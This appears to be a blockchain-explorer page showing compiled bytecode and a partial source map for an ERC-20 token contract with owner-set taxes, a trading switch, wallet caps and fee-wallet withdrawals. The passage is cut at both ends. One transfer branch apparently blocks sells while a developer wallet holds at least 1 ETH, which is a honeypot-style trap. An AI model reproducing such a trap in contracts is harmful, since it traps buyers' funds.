50505050565b6006546000908190670de0b6b3a76400006116ca8282611547565b8210156116e657505060065492670de0b6b3a764000092509050565b90939092509050565b600081836117105760405162461bcd60e51b81526004016104fd91906119e4565b50600061131b8486611ce0565b600080600080600080600080600061173a8a600c54600d546118bd565b925092509250600061174a611524565b9050600080600061175d8e878787611912565b925092509250601060009054906101000a90046001600160a01b03166001600160a01b03168f6001600160a01b03160361179657600092505b919e909d50909b509399509197509550909350505050565b600061137583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112ea565b6000806117fd8385611c33565b9050838110156113755760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fd565b6000611859611524565b905060006118678383611962565b3060009081526002602052604090205490915061188490826117f0565b30600090815260026020526040902055505050565b6006546118a690836117ae565b6006556007546118b690826117f0565b6007555050565b60008080806118d760646118d18989611962565b90611547565b905060006118ea60646118d18a89611962565b90506000611902826118fc8b866117ae565b906117ae565b9992985090965090945050505050565b60008080806119218886611962565b9050600061192f8887611962565b9050600061193d8888611962565b9050600061194f826118fc86866117ae565b939b939a50919850919650505050505050565b60008260000361197457506000610464565b60006119808385611d02565b90508261198d8583611ce0565b146113755760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fd565b600060208083528351808285015260005b81811015611a11578581018301518582016040015282016119f5565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461056c57600080fd5b60008060408385031215611a5a57600080fd5b8235611a6581611a32565b946020939093013593505050565b600080600060608486031215611a8857600080fd5b8335611a9381611a32565b92506020840135611aa381611a32565b929592945050506040919091013590565b801515811461056c57600080fd5b600060208284031215611ad457600080fd5b813561137581611ab4565b600060208284031215611af157600080fd5b813561137581611a32565b600060208284031215611b0e57600080fd5b5035919050565b60008060008060808587031215611b2b57600080fd5b5050823594602084013594506040840135936060013592509050565b60008060408385031215611b5a57600080fd5b8235611b6581611a32565b91506020830135611b7581611a32565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611bc757600080fd5b815161137581611a32565b600080600060608486031215611be757600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611c1257600080fd5b815161137581611ab4565b634e487b7160e01b600052601160045260246000fd5b8082018082111561046457610464611c1d565b8181038181111561046457610464611c1d565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cbf5784516001600160a01b031683529383019391830191600101611c9a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611cfd57634e487b7160e01b600052601260045260246000fd5b500490565b808202811582820484141761046457610464611c1d56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122002ba7b0386d38e1b8f80320ea514c0b81933d3b8c53092fc0d82decc396d445664736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101445760003560e01c8063715018a6116100b6578063a2a957bb1161006f578063a2a957bb14610390578063a9059cbb146103b0578063c3c8cd80146103d0578063c9567bf9146103e5578063dd62ed3e146103ed578063f2fde38b1461043357600080fd5b8063715018a6146102e7578063751039fc146102fc5780638da5cb5b146103115780638f9a55c01461032f57806395d89b411461034557806398a5c3151461037057600080fd5b80632fd689e3116101085780632fd689e31461023e578063313ce5671461025457806349bd5a5e146102705780636d8aa8f8146102905780636fc3eaec146102b257806370a08231146102c757600080fd5b806306fdde0314610150578063095ea7b3146101915780631694505e146101c157806318160ddd146101f957806323b872dd1461021e57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600681526530782e636f6d60d01b60208201525b60405161018891906119e4565b60405180910390f35b34801561019d57600080fd5b506101b16101ac366004611a47565b610453565b6040519015158152602001610188565b3480156101cd57600080fd5b506012546101e1906001600160a01b031681565b6040516001600160a01b039091168152602001610188565b34801561020557600080fd5b50670de0b6b3a76400005b604051908152602001610188565b34801561022a57600080fd5b506101b1610239366004611a73565b61046a565b34801561024a57600080fd5b5061021060155481565b34801561026057600080fd5b5060405160098152602001610188565b34801561027c57600080fd5b506013546101e1906001600160a01b031681565b34801561029c57600080fd5b506102b06102ab366004611ac2565b6104d3565b005b3480156102be57600080fd5b506102b0610524565b3480156102d357600080fd5b506102106102e2366004611adf565b61056f565b3480156102f357600080fd5b506102b0610591565b34801561030857600080fd5b506102b0610605565b34801561031d57600080fd5b506000546001600160a01b03166101e1565b34801561033b57600080fd5b5061021060145481565b34801561035157600080fd5b50604080518082019091526002815261060f60f31b602082015261017b565b34801561037c57600080fd5b506102b061038b366004611afc565b610643565b34801561039c57600080fd5b506102b06103ab366004611b15565b610672565b3480156103bc57600080fd5b506101b16103cb366004611a47565b610826565b3480156103dc57600080fd5b506102b0610833565b6102b0610887565b3480156103f957600080fd5b50610210610408366004611b47565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561043f57600080fd5b506102b061044e366004611adf565b610c0e565b6000610460338484610cf8565b5060015b92915050565b6000610477848484610e1c565b6104c984336104c485604051806060016040528060288152602001611d1a602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112ea565b610cf8565b5060019392505050565b6000546001600160a01b031633146105065760405162461bcd60e51b81526004016104fd90611b80565b60405180910390fd5b60138054911515600160b01b0260ff60b01b19909216919091179055565b6010546001600160a01b0316336001600160a01b0316148061055957506011546001600160a01b0316336001600160a01b0316145b61056257600080fd5b4761056c81611324565b50565b6001600160a01b0381166000908152600260205260408120546104649061135e565b6000546001600160a01b031633146105bb5760405162461bcd60e51b81526004016104fd90611b80565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461062f5760405162461bcd60e51b81526004016104fd90611b80565b6d314dc6448d9338c15b0a00000000601455565b6000546001600160a01b0316331461066d5760405162461bcd60e51b81526004016104fd90611b80565b601555565b6000546001600160a01b0316331461069c5760405162461bcd60e51b81526004016104fd90611b80565b60038411156106fb5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420332560d81b60648201526084016104fd565b60058211156107565760405162461bcd60e51b815260206004820152602160248201527f42757920746178206d757374206265206265747765656e20302520616e6420356044820152602560f81b60648201526084016104fd565b60038311156107b65760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420332560d01b60648201526084016104fd565b60058111156108125760405162461bcd60e51b815260206004820152602260248201527f53656c6c20746178206d757374206265206265747765656e20302520616e6420604482015261352560f01b60648201526084016104fd565b600893909355600a91909155600955600b55565b6000610460338484610e1c565b6010546001600160a01b0316336001600160a01b0316148061086857506011546001600160a01b0316336001600160a01b0316145b61087157600080fd5b600061087c3061056f565b905061056c8161137c565b6000546001600160a01b031633146108b15760405162461bcd60e51b81526004016104fd90611b80565b601354600160a01b900460ff161561090b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104fd565b6013805460ff60a01b1916600160a01b179055601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610983573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a79190611bb5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109f4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a189190611bb5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a899190611bb5565b601380546001600160a01b0319166001600160a01b03928316179055306000818152600460209081526040808320601280548716855292529091206d314dc6448d9338c15b0a000000009055549091169063f305d719903490610aeb8161056f565b600080610b006000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b68573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b8d9190611bd2565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610be6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0a9190611c00565b5050565b6000546001600160a01b03163314610c385760405162461bcd60e51b81526004016104fd90611b80565b6001600160a01b038116610c9d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104fd565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d5a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fd565b6001600160a01b038216610dbb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fd565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e805760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fd565b6001600160a01b038216610ee25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fd565b60008111610f445760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fd565b6000546001600160a01b03848116911614801590610f7057506000546001600160a01b03838116911614155b8015610f8557506001600160a01b0383163014155b8015610f9a57506001600160a01b0382163014155b156111dd57601354600160a01b900460ff16611033576000546001600160a01b038481169116146110335760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104fd565b6013546001600160a01b038381169116146110b857601454816110558461056f565b61105f9190611c33565b106110b85760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016104fd565b60006110c33061056f565b6015546001600160a01b0386166000908152600560205260409020549192508210159060ff1615801561110357506013546001600160a01b038581169116145b1561112a57601054670de0b6b3a76400006001600160a01b03909116311061112a57600080fd5b8080156111415750601354600160a81b900460ff16155b801561115b57506013546001600160a01b03868116911614155b80156111705750601354600160b01b900460ff165b801561119557506001600160a01b03851660009081526005602052604090205460ff16155b80156111ba57506001600160a01b03841660009081526005602052604090205460ff16155b156111da576111c88261137c565b4780156111d8576111d847611324565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061121f57506001600160a01b03831660009081526005602052604090205460ff165b8061125157506013546001600160a01b0385811691161480159061125157506013546001600160a01b03848116911614155b1561125e575060006112d8565b6013546001600160a01b03858116911614801561128957506012546001600160a01b03848116911614155b1561129b57600854600c55600954600d555b6013546001600160a01b0384811691161480156112c657506012546001600160a01b03858116911614155b156112d857600a54600c55600b54600d555b6112e4848484846114f6565b50505050565b6000818484111561130e5760405162461bcd60e51b81526004016104fd91906119e4565b50600061131b8486611c46565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610c0a573d6000803e3d6000fd5b600080611369611524565b90506113758382611547565b9392505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113c4576113c4611c59565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561141d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114419190611bb5565b8160018151811061145457611454611c59565b6001600160a01b03928316602091820292909201015260125461147a9130911684610cf8565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906114b3908590600090869030904290600401611c6f565b600060405180830381600087803b1580156114cd57600080fd5b505af11580156114e1573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b8061150357611503611589565b61150e8484846115b7565b806112e4576112e4600e54600c55600f54600d55565b60008060006115316116af565b90925090506115408282611547565b9250505090565b600061137583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ef565b600c541580156115995750600d54155b156115a057565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115ca898861171d565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115fc90876117ae565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461162b90866117f0565b6001600160a01b03891660009081526002602052604090205561164d8161184f565b6116578483611899565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161169c91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006116ca8282611547565b8210156116e657505060065492670de0b6b3a764000092509050565b90939092509050565b600081836117105760405162461bcd60e51b81526004016104fd91906119e4565b50600061131b8486611ce0565b600080600080600080600080600061173a8a600c54600d546118bd565b925092509250600061174a611524565b9050600080600061175d8e878787611912565b925092509250601060009054906101000a90046001600160a01b03166001600160a01b03168f6001600160a01b03160361179657600092505b919e909d50909b509399509197509550909350505050565b600061137583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112ea565b6000806117fd8385611c33565b9050838110156113755760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fd565b6000611859611524565b905060006118678383611962565b3060009081526002602052604090205490915061188490826117f0565b30600090815260026020526040902055505050565b6006546118a690836117ae565b6006556007546118b690826117f0565b6007555050565b60008080806118d760646118d18989611962565b90611547565b905060006118ea60646118d18a89611962565b90506000611902826118fc8b866117ae565b906117ae565b9992985090965090945050505050565b60008080806119218886611962565b9050600061192f8887611962565b9050600061193d8888611962565b9050600061194f826118fc86866117ae565b939b939a50919850919650505050505050565b60008260000361197457506000610464565b60006119808385611d02565b90508261198d8583611ce0565b146113755760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fd565b600060208083528351808285015260005b81811015611a11578581018301518582016040015282016119f5565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461056c57600080fd5b60008060408385031215611a5a57600080fd5b8235611a6581611a32565b946020939093013593505050565b600080600060608486031215611a8857600080fd5b8335611a9381611a32565b92506020840135611aa381611a32565b929592945050506040919091013590565b801515811461056c57600080fd5b600060208284031215611ad457600080fd5b813561137581611ab4565b600060208284031215611af157600080fd5b813561137581611a32565b600060208284031215611b0e57600080fd5b5035919050565b60008060008060808587031215611b2b57600080fd5b5050823594602084013594506040840135936060013592509050565b60008060408385031215611b5a57600080fd5b8235611b6581611a32565b91506020830135611b7581611a32565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611bc757600080fd5b815161137581611a32565b600080600060608486031215611be757600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611c1257600080fd5b815161137581611ab4565b634e487b7160e01b600052601160045260246000fd5b8082018082111561046457610464611c1d565b8181038181111561046457610464611c1d565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cbf5784516001600160a01b031683529383019391830191600101611c9a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611cfd57634e487b7160e01b600052601260045260246000fd5b500490565b808202811582820484141761046457610464611c1d56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122002ba7b0386d38e1b8f80320ea514c0b81933d3b8c53092fc0d82decc396d445664736f6c63430008130033

Deployed Bytecode Sourcemap

4151:13186:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6170:83;;;;;;;;;;-1:-1:-1;6240:5:0;;;;;;;;;;;;-1:-1:-1;;;6240:5:0;;;;6170:83;;;;;;;:::i;:::-;;;;;;;;7102:193;;;;;;;;;;-1:-1:-1;7102:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7102:193:0;1023:187:1;5406:41:0;;;;;;;;;;-1:-1:-1;5406:41:0;;;;-1:-1:-1;;;;;5406:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5406:41:0;1215:229:1;6450:95:0;;;;;;;;;;-1:-1:-1;4686:21:0;6450:95;;;1595:25:1;;;1583:2;1568:18;6450:95:0;1449:177:1;7304:446:0;;;;;;;;;;-1:-1:-1;7304:446:0;;;;;:::i;:::-;;:::i;5656:55::-;;;;;;;;;;;;;;;;6358:83;;;;;;;;;;-1:-1:-1;6358:83:0;;4366:1;2234:36:1;;2222:2;2207:18;6358:83:0;2092:184:1;5454:28:0;;;;;;;;;;-1:-1:-1;5454:28:0;;;;-1:-1:-1;;;;;5454:28:0;;;16416:101;;;;;;;;;;-1:-1:-1;16416:101:0;;;;;:::i;:::-;;:::i;:::-;;11752:235;;;;;;;;;;;;;:::i;6554:138::-;;;;;;;;;;-1:-1:-1;6554:138:0;;;;;:::i;:::-;;:::i;1624:148::-;;;;;;;;;;;;;:::i;16527:80::-;;;;;;;;;;;;;:::i;1408:79::-;;;;;;;;;;-1:-1:-1;1446:7:0;1473:6;-1:-1:-1;;;;;1473:6:0;1408:79;;5598:51;;;;;;;;;;;;;;;;6262:87;;;;;;;;;;-1:-1:-1;6334:7:0;;;;;;;;;;;;-1:-1:-1;;;6334:7:0;;;;6262:87;;16224:139;;;;;;;;;;-1:-1:-1;16224:139:0;;;;;:::i;:::-;;:::i;15484:687::-;;;;;;;;;;-1:-1:-1;15484:687:0;;;;;:::i;:::-;;:::i;6701:199::-;;;;;;;;;;-1:-1:-1;6701:199:0;;;;;:::i;:::-;;:::i;11507:236::-;;;;;;;;;;;;;:::i;16615:719::-;;;:::i;6909:184::-;;;;;;;;;;-1:-1:-1;6909:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7058:18:0;;;7026:7;7058:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6909:184;1781:244;;;;;;;;;;-1:-1:-1;1781:244:0;;;;;:::i;:::-;;:::i;7102:193::-;7204:4;7226:39;237:10;7249:7;7258:6;7226:8;:39::i;:::-;-1:-1:-1;7283:4:0;7102:193;;;;;:::o;7304:446::-;7436:4;7453:36;7463:6;7471:9;7482:6;7453:9;:36::i;:::-;7500:220;7523:6;237:10;7571:138;7627:6;7571:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7571:19:0;;;;;;:11;:19;;;;;;;;237:10;7571:33;;;;;;;;;;:37;:138::i;:::-;7500:8;:220::i;:::-;-1:-1:-1;7738:4:0;7304:446;;;;;:::o;16416:101::-;1536:6;;-1:-1:-1;;;;;1536:6:0;237:10;1536:22;1528:67;;;;-1:-1:-1;;;1528:67:0;;;;;;;:::i;:::-;;;;;;;;;16483:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;16483:26:0::1;-1:-1:-1::0;;;;16483:26:0;;::::1;::::0;;;::::1;::::0;;16416:101::o;11752:235::-;11818:19;;-1:-1:-1;;;;;11818:19:0;237:10;-1:-1:-1;;;;;11802:35:0;;:72;;;-1:-1:-1;11857:17:0;;-1:-1:-1;;;;;11857:17:0;237:10;-1:-1:-1;;;;;11841:33:0;;11802:72;11794:81;;;;;;11915:21;11947:32;11915:21;11947:12;:32::i;:::-;11783:204;11752:235::o;6554:138::-;-1:-1:-1;;;;;6667:16:0;;6620:7;6667:16;;;:7;:16;;;;;;6647:37;;:19;:37::i;1624:148::-;1536:6;;-1:-1:-1;;;;;1536:6:0;237:10;1536:22;1528:67;;;;-1:-1:-1;;;1528:67:0;;;;;;;:::i;:::-;1731:1:::1;1715:6:::0;;1694:40:::1;::::0;-1:-1:-1;;;;;1715:6:0;;::::1;::::0;1694:40:::1;::::0;1731:1;;1694:40:::1;1762:1;1745:19:::0;;-1:-1:-1;;;;;;1745:19:0::1;::::0;;1624:148::o;16527:80::-;1536:6;;-1:-1:-1;;;;;1536:6:0;237:10;1536:22;1528:67;;;;-1:-1:-1;;;1528:67:0;;;;;;;:::i;:::-;4640:4:::1;16579:14;:20:::0;16527:80::o;16224:139::-;1536:6;;-1:-1:-1;;;;;1536:6:0;237:10;1536:22;1528:67;;;;-1:-1:-1;;;1528:67:0;;;;;;;:::i;:::-;16315:19:::1;:40:::0;16224:139::o;15484:687::-;1536:6;;-1:-1:-1;;;;;1536:6:0;237:10;1536:22;1528:67;;;;-1:-1:-1;;;1528:67:0;;;;;;;:::i;:::-;15665:1:::1;15648:13;:18;;15618:90;;;::::0;-1:-1:-1;;;15618:90:0;;4641:2:1;15618:90:0::1;::::0;::::1;4623:21:1::0;4680:2;4660:18;;;4653:30;4719:34;4699:18;;;4692:62;-1:-1:-1;;;4770:18:1;;;4763:35;4815:19;;15618:90:0::1;4439:401:1::0;15618:90:0::1;15762:1;15747:11;:16;;15719:82;;;::::0;-1:-1:-1;;;15719:82:0;;5047:2:1;15719:82:0::1;::::0;::::1;5029:21:1::0;5086:2;5066:18;;;5059:30;5125:34;5105:18;;;5098:62;-1:-1:-1;;;5176:18:1;;;5169:31;5217:19;;15719:82:0::1;4845:397:1::0;15719:82:0::1;15861:1;15843:14;:19;;15812:93;;;::::0;-1:-1:-1;;;15812:93:0;;5449:2:1;15812:93:0::1;::::0;::::1;5431:21:1::0;5488:2;5468:18;;;5461:30;5527:34;5507:18;;;5500:62;-1:-1:-1;;;5578:18:1;;;5571:36;5624:19;;15812:93:0::1;5247:402:1::0;15812:93:0::1;15961:1;15945:12;:17;;15916:85;;;::::0;-1:-1:-1;;;15916:85:0;;5856:2:1;15916:85:0::1;::::0;::::1;5838:21:1::0;5895:2;5875:18;;;5868:30;5934:34;5914:18;;;5907:62;-1:-1:-1;;;5985:18:1;;;5978:32;6027:19;;15916:85:0::1;5654:398:1::0;15916:85:0::1;16014:14;:30:::0;;;;16055:15:::1;:32:::0;;;;16098:12:::1;:26:::0;16135:13:::1;:28:::0;15484:687::o;6701:199::-;6806:4;6828:42;237:10;6852:9;6863:6;6828:9;:42::i;11507:236::-;11573:19;;-1:-1:-1;;;;;11573:19:0;237:10;-1:-1:-1;;;;;11557:35:0;;:72;;;-1:-1:-1;11612:17:0;;-1:-1:-1;;;;;11612:17:0;237:10;-1:-1:-1;;;;;11596:33:0;;11557:72;11549:81;;;;;;11641:23;11667:24;11685:4;11667:9;:24::i;:::-;11641:50;;11702:33;11719:15;11702:16;:33::i;16615:719::-;1536:6;;-1:-1:-1;;;;;1536:6:0;237:10;1536:22;1528:67;;;;-1:-1:-1;;;1528:67:0;;;;;;;:::i;:::-;16685:11:::1;::::0;-1:-1:-1;;;16685:11:0;::::1;;;16684:12;16676:47;;;::::0;-1:-1:-1;;;16676:47:0;;6259:2:1;16676:47:0::1;::::0;::::1;6241:21:1::0;6298:2;6278:18;;;6271:30;6337:25;6317:18;;;6310:53;6380:18;;16676:47:0::1;6057:347:1::0;16676:47:0::1;16734:11;:18:::0;;-1:-1:-1;;;;16734:18:0::1;-1:-1:-1::0;;;16734:18:0::1;::::0;;16874:15:::1;:34:::0;;-1:-1:-1;;;;;;16874:34:0::1;16820:42;16874:34:::0;;::::1;::::0;;;16953:26:::1;::::0;;-1:-1:-1;;;16953:26:0;;;;16820:42;;16953:24:::1;::::0;:26:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;16820:42;16953:26:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16935:70:0::1;;17014:4;17021:16;-1:-1:-1::0;;;;;17021:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16935:110;::::0;-1:-1:-1;;;;;;16935:110:0::1;::::0;;;;;;-1:-1:-1;;;;;6895:15:1;;;16935:110:0::1;::::0;::::1;6877:34:1::0;6947:15;;6927:18;;;6920:43;6812:18;;16935:110:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16919:13;:126:::0;;-1:-1:-1;;;;;;16919:126:0::1;-1:-1:-1::0;;;;;16919:126:0;;::::1;;::::0;;17078:4:::1;-1:-1:-1::0;17058:26:0;;;:11:::1;:26;::::0;;;;;;;17093:15:::1;::::0;;;::::1;17058:52:::0;;;;;;;4640:4:::1;17058:58:::0;;17127:15;;;::::1;::::0;:31:::1;::::0;17166:9:::1;::::0;17191:24:::1;17078:4:::0;17191:9:::1;:24::i;:::-;17216:1;17218::::0;17220:7:::1;1446::::0;1473:6;-1:-1:-1;;;;;1473:6:0;;1408:79;17220:7:::1;17127:117;::::0;::::1;::::0;;;-1:-1:-1;;;;;;17127:117:0;;;-1:-1:-1;;;;;7333:15:1;;;17127:117:0::1;::::0;::::1;7315:34:1::0;7365:18;;;7358:34;;;;7408:18;;;7401:34;;;;7451:18;;;7444:34;7515:15;;;7494:19;;;7487:44;17228:15:0::1;7547:19:1::0;;;7540:35;7249:19;;17127:117:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;17262:13:0::1;::::0;17293:15:::1;::::0;17255:71:::1;::::0;-1:-1:-1;;;17255:71:0;;-1:-1:-1;;;;;17293:15:0;;::::1;17255:71;::::0;::::1;8071:51:1::0;-1:-1:-1;;8138:18:1;;;8131:34;17262:13:0;::::1;::::0;-1:-1:-1;17255:29:0::1;::::0;8044:18:1;;17255:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;16665:669;16615:719::o:0;1781:244::-;1536:6;;-1:-1:-1;;;;;1536:6:0;237:10;1536:22;1528:67;;;;-1:-1:-1;;;1528:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1870:22:0;::::1;1862:73;;;::::0;-1:-1:-1;;;1862:73:0;;8628:2:1;1862:73:0::1;::::0;::::1;8610:21:1::0;8667:2;8647:18;;;8640:30;8706:34;8686:18;;;8679:62;-1:-1:-1;;;8757:18:1;;;8750:36;8803:19;;1862:73:0::1;8426:402:1::0;1862:73:0::1;1972:6;::::0;;1951:38:::1;::::0;-1:-1:-1;;;;;1951:38:0;;::::1;::::0;1972:6;::::1;::::0;1951:38:::1;::::0;::::1;2000:6;:17:::0;;-1:-1:-1;;;;;;2000:17:0::1;-1:-1:-1::0;;;;;2000:17:0;;;::::1;::::0;;;::::1;::::0;;1781:244::o;8326:369::-;-1:-1:-1;;;;;8453:19:0;;8445:68;;;;-1:-1:-1;;;8445:68:0;;9035:2:1;8445:68:0;;;9017:21:1;9074:2;9054:18;;;9047:30;9113:34;9093:18;;;9086:62;-1:-1:-1;;;9164:18:1;;;9157:34;9208:19;;8445:68:0;8833:400:1;8445:68:0;-1:-1:-1;;;;;8532:21:0;;8524:68;;;;-1:-1:-1;;;8524:68:0;;9440:2:1;8524:68:0;;;9422:21:1;9479:2;9459:18;;;9452:30;9518:34;9498:18;;;9491:62;-1:-1:-1;;;9569:18:1;;;9562:32;9611:19;;8524:68:0;9238:398:1;8524:68:0;-1:-1:-1;;;;;8603:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8655:32;;1595:25:1;;;8655:32:0;;1568:18:1;8655:32:0;;;;;;;8326:369;;;:::o;8704:2194::-;-1:-1:-1;;;;;8826:18:0;;8818:68;;;;-1:-1:-1;;;8818:68:0;;9843:2:1;8818:68:0;;;9825:21:1;9882:2;9862:18;;;9855:30;9921:34;9901:18;;;9894:62;-1:-1:-1;;;9972:18:1;;;9965:35;10017:19;;8818:68:0;9641:401:1;8818:68:0;-1:-1:-1;;;;;8905:16:0;;8897:64;;;;-1:-1:-1;;;8897:64:0;;10249:2:1;8897:64:0;;;10231:21:1;10288:2;10268:18;;;10261:30;10327:34;10307:18;;;10300:62;-1:-1:-1;;;10378:18:1;;;10371:33;10421:19;;8897:64:0;10047:399:1;8897:64:0;8989:1;8980:6;:10;8972:64;;;;-1:-1:-1;;;8972:64:0;;10653:2:1;8972:64:0;;;10635:21:1;10692:2;10672:18;;;10665:30;10731:34;10711:18;;;10704:62;-1:-1:-1;;;10782:18:1;;;10775:39;10831:19;;8972:64:0;10451:405:1;8972:64:0;1446:7;1473:6;-1:-1:-1;;;;;9054:15:0;;;1473:6;;9054:15;;;;:32;;-1:-1:-1;1446:7:0;1473:6;-1:-1:-1;;;;;9073:13:0;;;1473:6;;9073:13;;9054:32;:57;;;;-1:-1:-1;;;;;;9090:21:0;;9106:4;9090:21;;9054:57;:80;;;;-1:-1:-1;;;;;;9115:19:0;;9129:4;9115:19;;9054:80;9050:1116;;;9192:11;;-1:-1:-1;;;9192:11:0;;;;9187:144;;1446:7;1